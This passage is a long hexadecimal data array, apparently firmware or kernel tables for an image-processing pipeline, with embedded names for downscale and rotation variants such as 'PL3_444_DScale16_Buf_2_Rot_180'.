0x00000980, 0x000d006f, 0x00000980, 0x000d0070, 0x00000980, 0x000d0071, 0x000009a0, 0xbfff002d,
0x000009c0, 0x3fff007b, 0x000009d0, 0xbfff0035, 0x000009e0, 0x3fff006c, 0x000009f0, 0x3fff0073,
0x00000a00, 0x3fff0072, 0x00000a00, 0xbfff002f, 0x00000a10, 0x3fff0074, 0x00000a10, 0xbfff0037,
0x00000a20, 0x3fff0075, 0x00000a30, 0x3fff007d, 0x00000a30, 0x3fff0076, 0x00000a40, 0x3fff0077,
0x00000a50, 0x3fff0079, 0x00000a60, 0x3fff0078, 0x00000a60, 0xbfff002b, 0x00000a70, 0x3fff007a,
0x00000a70, 0xbfff0033, 0x00000a90, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000150, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f325f, 0x315f746f, 0x00003038,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001,
0x00000180, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005, 0x00000260, 0x3fff0000,
0x00000320, 0xbfff0030, 0x00000320, 0xbfff0031, 0x00000330, 0xbfff0038, 0x00000330, 0xbfff0039,
0x00000340, 0x3fff007c, 0x00000560, 0xbfff002c, 0x00000570, 0xbfff0034, 0x000005e0, 0xbfff002e,
0x000005f0, 0xbfff0036, 0x000006b0, 0xbfff002a, 0x000006c0, 0xbfff0032, 0x000007f0, 0x3fff0003,
0x00000840, 0x3fff0004, 0x00000930, 0xbfff002d, 0x00000940, 0x000d006f, 0x00000940, 0x000d0070,
0x00000940, 0x000d0071, 0x00000940, 0x000d0072, 0x00000940, 0x000d0073, 0x00000950, 0xbfff0035,
0x00000970, 0x3fff007b, 0x00000980, 0x3fff006c, 0x00000990, 0x3fff006e, 0x000009a0, 0x3fff006d,
0x000009a0, 0xbfff002f, 0x000009b0, 0x3fff0074, 0x000009b0, 0xbfff0037, 0x000009c0, 0x3fff0075,
0x000009d0, 0x3fff007d, 0x000009d0, 0x3fff0076, 0x000009e0, 0x3fff0077, 0x000009f0, 0x3fff0079,
0x00000a00, 0x3fff0078, 0x00000a00, 0xbfff002b, 0x00000a10, 0x3fff007a, 0x00000a10, 0xbfff0033,
0x00000a30, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005,
0x00000001, 0x0000004c, 0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000150, 0x00000007,
0x00000001, 0x000001d4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f325f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001,
0x00000160, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000,
0x00000320, 0xbfff0030, 0x00000320, 0xbfff0031, 0x00000330, 0xbfff0038, 0x00000330, 0xbfff0039,
0x00000590, 0xbfff002c, 0x000005a0, 0xbfff0034, 0x00000650, 0xbfff0036, 0x00000660, 0xbfff002e,
0x000006d0, 0xbfff0032, 0x00000710, 0xbfff002a, 0x00000820, 0x3fff0004, 0x000008a0, 0x3fff0003,
0x000008b0, 0x3fff007b, 0x00000920, 0x3fff0074, 0x00000970, 0xbfff002d, 0x00000980, 0x000d006d,
0x00000980, 0x000d006e, 0x00000980, 0x000d006f, 0x00000980, 0x000d0070, 0x00000990, 0xbfff0035,
0x000009c0, 0x3fff0071, 0x000009d0, 0x3fff0073, 0x000009e0, 0x3fff0072, 0x000009e0, 0xbfff002f,
0x000009f0, 0x3fff0075, 0x000009f0, 0xbfff0037, 0x00000a00, 0x3fff0076, 0x00000a10, 0x3fff007c,
0x00000a10, 0x3fff0077, 0x00000a20, 0x3fff0078, 0x00000a30, 0x3fff007a, 0x00000a40, 0x3fff0079,
0x00000a40, 0xbfff002b, 0x00000a50, 0x3fff006c, 0x00000a50, 0xbfff0033, 0x00000a70, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f325f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b,
0x00000090, 0x0000ffff, 0x00000110, 0x3fff0001, 0x00000140, 0x3fff0002, 0x00000200, 0x3fff0006,
0x00000230, 0x3fff0005, 0x00000240, 0x3fff0000, 0x00000300, 0xbfff0030, 0x00000300, 0xbfff0031,
0x00000310, 0xbfff0038, 0x00000310, 0xbfff0039, 0x00000550, 0xbfff002c, 0x00000560, 0xbfff0034,
0x000005d0, 0xbfff002e, 0x000005e0, 0xbfff0036, 0x000006b0, 0xbfff002a, 0x000006c0, 0xbfff0032,
0x00000810, 0x3fff0003, 0x00000830, 0x3fff0004, 0x00000910, 0x000d006d, 0x00000910, 0x000d006e,
0x00000910, 0x000d006f, 0x00000910, 0x000d0070, 0x00000910, 0x000d0071, 0x00000930, 0xbfff002d,
0x00000950, 0x3fff007b, 0x00000960, 0xbfff0035, 0x00000970, 0x3fff006c, 0x00000980, 0x3fff0073,
0x00000990, 0x3fff0072, 0x00000990, 0xbfff002f, 0x000009a0, 0x3fff0074, 0x000009a0, 0xbfff0037,
0x000009b0, 0x3fff0075, 0x000009c0, 0x3fff007c, 0x000009c0, 0x3fff0076, 0x000009d0, 0x3fff0077,
0x000009e0, 0x3fff0079, 0x000009f0, 0x3fff0078, 0x000009f0, 0xbfff002b, 0x00000a00, 0x3fff007a,
0x00000a00, 0xbfff0033, 0x00000a20, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001e, 0x00000005, 0x00000001, 0x0000004c, 0x00000038, 0x00000006, 0x00000001, 0x00000084,
0x00000148, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x0000335f, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e,
0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001, 0x00000140, 0x3fff0002,
0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005, 0x00000250, 0x3fff0000, 0x00000300, 0xbfff0040,
0x00000300, 0xbfff0041, 0x00000310, 0xbfff0048, 0x00000310, 0xbfff0049, 0x00000480, 0x3fff007c,
0x00000580, 0xbfff003c, 0x00000590, 0xbfff0044, 0x00000600, 0xbfff003e, 0x00000620, 0xbfff0046,
0x000006e0, 0xbfff003a, 0x00000710, 0xbfff0042, 0x00000860, 0x3fff0003, 0x000008c0, 0x3fff0004,
0x00000980, 0x000d006d, 0x00000980, 0x000d006e, 0x00000980, 0x000d006f, 0x00000980, 0x000d0070,
0x00000980, 0x000d0071, 0x000009a0, 0xbfff003d, 0x000009c0, 0x3fff007b, 0x000009d0, 0xbfff0045,
0x000009e0, 0x3fff006c, 0x000009f0, 0x3fff0073, 0x00000a00, 0x3fff0072, 0x00000a00, 0xbfff003f,
0x00000a10, 0x3fff0074, 0x00000a10, 0xbfff0047, 0x00000a20, 0x3fff0075, 0x00000a30, 0x3fff007d,
0x00000a30, 0x3fff0076, 0x00000a40, 0x3fff0077, 0x00000a50, 0x3fff0079, 0x00000a60, 0x3fff0078,
0x00000a60, 0xbfff003b, 0x00000a70, 0x3fff007a, 0x00000a70, 0xbfff0043, 0x00000a90, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000150, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f335f, 0x315f746f, 0x00003038, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001, 0x00000180, 0x3fff0002, 0x00000240, 0x3fff0006,
0x00000250, 0x3fff0005, 0x00000260, 0x3fff0000, 0x00000320, 0xbfff0040, 0x00000320, 0xbfff0041,
0x00000330, 0xbfff0048, 0x00000330, 0xbfff0049, 0x00000340, 0x3fff007c, 0x00000560, 0xbfff003c,
0x00000570, 0xbfff0044, 0x000005e0, 0xbfff003e, 0x000005f0, 0xbfff0046, 0x000006b0, 0xbfff003a,
0x000006c0, 0xbfff0042, 0x000007f0, 0x3fff0003, 0x00000840, 0x3fff0004, 0x00000930, 0xbfff003d,
0x00000940, 0x000d006f, 0x00000940, 0x000d0070, 0x00000940, 0x000d0071, 0x00000940, 0x000d0072,
0x00000940, 0x000d0073, 0x00000950, 0xbfff0045, 0x00000970, 0x3fff007b, 0x00000980, 0x3fff006c,
0x00000990, 0x3fff006e, 0x000009a0, 0x3fff006d, 0x000009a0, 0xbfff003f, 0x000009b0, 0x3fff0074,
0x000009b0, 0xbfff0047, 0x000009c0, 0x3fff0075, 0x000009d0, 0x3fff007d, 0x000009d0, 0x3fff0076,
0x000009e0, 0x3fff0077, 0x000009f0, 0x3fff0079, 0x00000a00, 0x3fff0078, 0x00000a00, 0xbfff003b,
0x00000a10, 0x3fff007a, 0x00000a10, 0xbfff0043, 0x00000a30, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000038, 0x00000006,
0x00000001, 0x00000084, 0x00000150, 0x00000007, 0x00000001, 0x000001d4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f335f, 0x325f746f, 0x00003037, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001, 0x00000160, 0x3fff0002, 0x00000240, 0x3fff0006,
0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000, 0x00000320, 0xbfff0040, 0x00000320, 0xbfff0041,
0x00000330, 0xbfff0048, 0x00000330, 0xbfff0049, 0x00000590, 0xbfff003c, 0x000005a0, 0xbfff0044,
0x00000650, 0xbfff0046, 0x00000660, 0xbfff003e, 0x000006d0, 0xbfff0042, 0x00000710, 0xbfff003a,
0x00000820, 0x3fff0004, 0x000008a0, 0x3fff0003, 0x000008b0, 0x3fff007b, 0x00000920, 0x3fff0074,
0x00000970, 0xbfff003d, 0x00000980, 0x000d006d, 0x00000980, 0x000d006e, 0x00000980, 0x000d006f,
0x00000980, 0x000d0070, 0x00000990, 0xbfff0045, 0x000009c0, 0x3fff0071, 0x000009d0, 0x3fff0073,
0x000009e0, 0x3fff0072, 0x000009e0, 0xbfff003f, 0x000009f0, 0x3fff0075, 0x000009f0, 0xbfff0047,
0x00000a00, 0x3fff0076, 0x00000a10, 0x3fff007c, 0x00000a10, 0x3fff0077, 0x00000a20, 0x3fff0078,
0x00000a30, 0x3fff007a, 0x00000a40, 0x3fff0079, 0x00000a40, 0xbfff003b, 0x00000a50, 0x3fff006c,
0x00000a50, 0xbfff0043, 0x00000a70, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000038, 0x00000006, 0x00000001, 0x00000084,
0x00000148, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f335f, 0x395f746f, 0x00000030,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff, 0x00000110, 0x3fff0001,
0x00000140, 0x3fff0002, 0x00000200, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000240, 0x3fff0000,
0x00000300, 0xbfff0040, 0x00000300, 0xbfff0041, 0x00000310, 0xbfff0048, 0x00000310, 0xbfff0049,
0x00000550, 0xbfff003c, 0x00000560, 0xbfff0044, 0x000005d0, 0xbfff003e, 0x000005e0, 0xbfff0046,
0x000006b0, 0xbfff003a, 0x000006c0, 0xbfff0042, 0x00000810, 0x3fff0003, 0x00000830, 0x3fff0004,
0x00000910, 0x000d006d, 0x00000910, 0x000d006e, 0x00000910, 0x000d006f, 0x00000910, 0x000d0070,
0x00000910, 0x000d0071, 0x00000930, 0xbfff003d, 0x00000950, 0x3fff007b, 0x00000960, 0xbfff0045,
0x00000970, 0x3fff006c, 0x00000980, 0x3fff0073, 0x00000990, 0x3fff0072, 0x00000990, 0xbfff003f,
0x000009a0, 0x3fff0074, 0x000009a0, 0xbfff0047, 0x000009b0, 0x3fff0075, 0x000009c0, 0x3fff007c,
0x000009c0, 0x3fff0076, 0x000009d0, 0x3fff0077, 0x000009e0, 0x3fff0079, 0x000009f0, 0x3fff0078,
0x000009f0, 0xbfff003b, 0x00000a00, 0x3fff007a, 0x00000a00, 0xbfff0043, 0x00000a20, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000345f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff006a, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff0078, 0x00000060, 0xbfff006e,
0x00000080, 0xbfff006f, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000280, 0x3fff0002,
0x000002c0, 0x3fff0003, 0x000002d0, 0x3fff0006, 0x00000300, 0x3fff0004, 0x00000310, 0x3fff0005,
0x000003f0, 0x3fff0000, 0x00000480, 0xbfff0050, 0x00000480, 0xbfff0051, 0x00000490, 0xbfff0058,
0x00000490, 0xbfff0059, 0x000006d0, 0xbfff004c, 0x000006e0, 0xbfff0054, 0x000007a0, 0xbfff004e,
0x000007b0, 0xbfff0056, 0x00000830, 0xbfff004a, 0x00000840, 0xbfff0052, 0x00000a20, 0x3fff0076,
0x00000a70, 0x000d0079, 0x00000a70, 0x000d007a, 0x00000a70, 0x000d007b, 0x00000a70, 0x000d007c,
0x00000a70, 0x000d007d, 0x00000a90, 0xbfff004d, 0x00000ab0, 0x3fff0074, 0x00000ac0, 0xbfff0055,
0x00000ad0, 0x3fff0075, 0x00000ae0, 0x3fff006c, 0x00000af0, 0x3fff0077, 0x00000af0, 0xbfff004f,
0x00000b00, 0x3fff006d, 0x00000b00, 0xbfff0057, 0x00000b10, 0x3fff006e, 0x00000b20, 0x3fff0078,
0x00000b20, 0x3fff006f, 0x00000b30, 0x3fff0070, 0x00000b40, 0x3fff0072, 0x00000b50, 0x3fff0071,
0x00000b50, 0xbfff004b, 0x00000b60, 0x3fff0073, 0x00000b60, 0xbfff0053, 0x00000b80, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000048, 0x00000006, 0x00000001, 0x0000008c, 0x00000150, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61637344, 0x3631656c,
0x6675425f, 0x525f345f, 0x315f746f, 0x00003038, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006a, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff0078,
0x00000060, 0xbfff006e, 0x00000080, 0xbfff006f, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001,
0x000002b0, 0x3fff0003, 0x000002c0, 0x3fff0006, 0x000002e0, 0x3fff0002, 0x00000300, 0x3fff0004,
0x00000310, 0x3fff0005, 0x000003f0, 0x3fff0000, 0x00000480, 0xbfff0050, 0x00000480, 0xbfff0051,
0x00000490, 0xbfff0058, 0x00000490, 0xbfff0059, 0x000006d0, 0xbfff004c, 0x000006e0, 0xbfff0054,
0x000007a0, 0xbfff004e, 0x000007b0, 0xbfff0056, 0x00000820, 0xbfff004a, 0x00000830, 0xbfff0052,
0x00000a10, 0x3fff006c, 0x00000a30, 0x3fff0077, 0x00000a80, 0xbfff004d, 0x00000a90, 0x000d0079,
0x00000a90, 0x000d007a, 0x00000a90, 0x000d007b, 0x00000a90, 0x000d007c, 0x00000a90, 0x000d007d,
0x00000ac0, 0xbfff0055, 0x00000ad0, 0x3fff0075, 0x00000ae0, 0x3fff006d, 0x00000af0, 0x3fff0076,
0x00000af0, 0xbfff004f, 0x00000b00, 0x3fff006e, 0x00000b00, 0xbfff0057, 0x00000b10, 0x3fff006f,
0x00000b20, 0x3fff0078, 0x00000b20, 0x3fff0070, 0x00000b30, 0x3fff0071, 0x00000b40, 0x3fff0073,
0x00000b50, 0x3fff0072, 0x00000b50, 0xbfff004b, 0x00000b60, 0x3fff0074, 0x00000b60, 0xbfff0053,
0x00000b80, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005,
0x00000001, 0x0000004c, 0x00000048, 0x00000006, 0x00000001, 0x00000094, 0x00000150, 0x00000007,
0x00000001, 0x000001e4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001e8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61637344, 0x3631656c, 0x6675425f, 0x525f345f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006a,
0x00000040, 0x3fff006b, 0x00000040, 0xbfff0077, 0x00000060, 0xbfff006e, 0x00000080, 0xbfff006f,
0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001, 0x00000290, 0x3fff0003, 0x000002a0, 0x3fff0006,
0x000002d0, 0x3fff0002, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x00000400, 0x3fff0000,
0x00000490, 0xbfff0050, 0x00000490, 0xbfff0051, 0x000004a0, 0xbfff0058, 0x000004a0, 0xbfff0059,
0x000006e0, 0xbfff004c, 0x000006f0, 0xbfff0054, 0x000007b0, 0xbfff004e, 0x000007c0, 0xbfff0056,
0x00000840, 0xbfff004a, 0x00000850, 0xbfff0052, 0x00000960, 0x3fff0077, 0x00000a30, 0x3fff0075,
0x00000a90, 0xbfff004d, 0x00000aa0, 0x000d0079, 0x00000aa0, 0x000d007a, 0x00000aa0, 0x000d007b,
0x00000aa0, 0x000d007c, 0x00000aa0, 0x000d007d, 0x00000ad0, 0xbfff0055, 0x00000ae0, 0x3fff0074,
0x00000af0, 0x3fff006c, 0x00000b00, 0x3fff0076, 0x00000b00, 0xbfff004f, 0x00000b10, 0x3fff006d,
0x00000b10, 0xbfff0057, 0x00000b20, 0x3fff006e, 0x00000b30, 0x3fff0078, 0x00000b30, 0x3fff006f,
0x00000b40, 0x3fff0070, 0x00000b50, 0x3fff0072, 0x00000b60, 0x3fff0071, 0x00000b60, 0xbfff004b,
0x00000b70, 0x3fff0073, 0x00000b70, 0xbfff0053, 0x00000b90, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000048, 0x00000006,
0x00000001, 0x00000094, 0x00000150, 0x00000007, 0x00000001, 0x000001e4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e8, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x334c5000, 0x3434345f, 0x61637344, 0x3631656c,
0x6675425f, 0x525f345f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000020, 0x8001006d, 0x00000030, 0x3fff006a, 0x00000040, 0x3fff006b, 0x00000040, 0xbfff0077,
0x00000060, 0xbfff006e, 0x00000080, 0xbfff006f, 0x000000e0, 0x0000ffff, 0x00000100, 0x3fff0001,
0x00000250, 0x3fff0003, 0x00000260, 0x3fff0006, 0x000002c0, 0x3fff0002, 0x000002f0, 0x3fff0004,
0x00000300, 0x3fff0005, 0x000003e0, 0x3fff0000, 0x00000470, 0xbfff0050, 0x00000470, 0xbfff0051,
0x00000480, 0xbfff0058, 0x00000480, 0xbfff0059, 0x000006c0, 0xbfff004c, 0x000006d0, 0xbfff0054,
0x00000790, 0xbfff004e, 0x000007a0, 0xbfff0056, 0x00000820, 0xbfff004a, 0x00000830, 0xbfff0052,
0x00000940, 0x3fff0076, 0x00000940, 0x3fff0077, 0x00000a10, 0x3fff006c, 0x00000a70, 0xbfff004d,
0x00000a80, 0x000d0079, 0x00000a80, 0x000d007a, 0x00000a80, 0x000d007b, 0x00000a80, 0x000d007c,
0x00000a80, 0x000d007d, 0x00000a90, 0xbfff0055, 0x00000ad0, 0x3fff006e, 0x00000ae0, 0x3fff006d,
0x00000ae0, 0xbfff004f, 0x00000af0, 0x3fff006f, 0x00000af0, 0xbfff0057, 0x00000b00, 0x3fff0070,
0x00000b10, 0x3fff0078, 0x00000b10, 0x3fff0071, 0x00000b20, 0x3fff0072, 0x00000b30, 0x3fff0074,
0x00000b40, 0x3fff0073, 0x00000b40, 0xbfff004b, 0x00000b50, 0x3fff0075, 0x00000b50, 0xbfff0053,
0x00000b70, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005,
0x00000001, 0x0000004c, 0x00000048, 0x00000006, 0x00000001, 0x00000094, 0x00000150, 0x00000007,
0x00000001, 0x000001e4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000001e8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x334c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x0000355f, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff0078,
0x00000040, 0x3fff006a, 0x00000070, 0xbfff006e, 0x00000080, 0xbfff0070, 0x00000090, 0xbfff006f,
0x000000f0, 0x0000ffff, 0x00000110, 0x3fff0001, 0x00000290, 0x3fff0002, 0x000002d0, 0x3fff0003,
0x000002e0, 0x3fff0006, 0x00000310, 0x3fff0004, 0x00000320, 0x3fff0005, 0x00000400, 0x3fff0000,
0x00000490, 0xbfff0060, 0x00000490, 0xbfff0061, 0x000004a0, 0xbfff0068, 0x000004a0, 0xbfff0069,
0x000006f0, 0xbfff005c, 0x00000700, 0xbfff0064, 0x000007c0, 0xbfff005e, 0x000007d0, 0xbfff0066,
0x00000850, 0xbfff005a, 0x00000860, 0xbfff0062, 0x00000a40, 0x3fff0076, 0x00000a90, 0x000d0079,
0x00000a90, 0x000d007a, 0x00000a90, 0x000d007b, 0x00000a90, 0x000d007c, 0x00000a90, 0x000d007d,
0x00000ab0, 0xbfff005d, 0x00000ad0, 0x3fff0074, 0x00000ae0, 0xbfff0065, 0x00000af0, 0x3fff0075,
0x00000b00, 0x3fff006c, 0x00000b10, 0x3fff0077, 0x00000b10, 0xbfff005f, 0x00000b20, 0x3fff006d,
0x00000b20, 0xbfff0067, 0x00000b30, 0x3fff006e, 0x00000b40, 0x3fff0078, 0x00000b40, 0x3fff006f,
0x00000b50, 0x3fff0070, 0x00000b60, 0x3fff0072, 0x00000b70, 0x3fff0071, 0x00000b70, 0xbfff005b,
0x00000b80, 0x3fff0073, 0x00000b80, 0xbfff0063, 0x00000ba0, 0xbfff006b, 0x00000000, 0x00000000,
0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002,
0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004,
0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000050, 0x00000006,
0x00000001, 0x00000094, 0x00000150, 0x00000007, 0x00000001, 0x000001e4, 0x00000002, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000001f0, 0x00000000, 0x00000000, 0x00000000,
